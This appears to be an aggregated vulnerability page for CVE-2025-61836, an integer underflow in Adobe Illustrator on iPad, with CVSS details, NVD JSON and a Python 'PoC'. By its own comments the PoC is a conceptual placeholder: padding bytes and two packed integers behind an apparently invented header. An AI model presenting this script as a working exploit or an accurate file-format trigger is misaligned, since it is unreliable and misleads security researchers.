Security Vulnerability Report
中文
CVE-2025-61836 CVSS 7.8 HIGH

CVE-2025-61836

Published: 2025-11-11 18:15:43
Last Modified: 2025-11-12 16:50:14

Description

Illustrator on iPad versions 3.0.9 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:illustrator_on_ipad:*:*:*:*:*:*:*:* - VULNERABLE
Adobe Illustrator on iPad <= 3.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61836 PoC - Adobe Illustrator on iPad Integer Underflow # This is a conceptual proof of concept demonstrating the vulnerability # DO NOT use for malicious purposes import struct import os def create_malicious_illustrator_file(): """ Create a malicious .ait file that triggers integer underflow in Illustrator on iPad This PoC demonstrates the file structure needed to trigger the vulnerability """ # Adobe Illustrator Template file header header = b'AI11\x00' # Adobe Illustrator 11+ format signature # Malformed data that could trigger integer underflow # In real exploitation, specific byte sequences would cause the underflow malformed_data = b'\x00' * 100 # Placeholder for malicious payload # Integer underflow trigger - value that when decremented wraps around # This is a conceptual representation trigger_bytes = struct.pack('<I', 0x00000001) # Value 1 trigger_bytes += struct.pack('<I', 0xFFFFFFFF) # Could cause underflow when processed # Construct the malicious file malicious_file = header + malformed_data + trigger_bytes return malicious_file def main(): output_file = "CVE-2025-61836_malicious.ait" print("[*] Generating PoC for CVE-2025-61836") print("[*] Adobe Illustrator on iPad Integer Underflow Vulnerability") # Generate malicious file content file_content = create_malicious_illustrator_file() # Write to file (for testing in controlled environment only) # with open(output_file, 'wb') as f: # f.write(file_content) print("[!] This is a conceptual PoC for educational purposes only") print("[!] Do not use for malicious activities") print("[*] File structure generated") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61836", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:42.850", "lastModified": "2025-11-12T16:50:14.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator on iPad versions 3.0.9 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator_on_ipad:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.10", "matchCriteriaId": "1998E69B-076B-4CC5-8F34-0B5B25FA88CC"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator-mobile-ios/apsb25-111.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}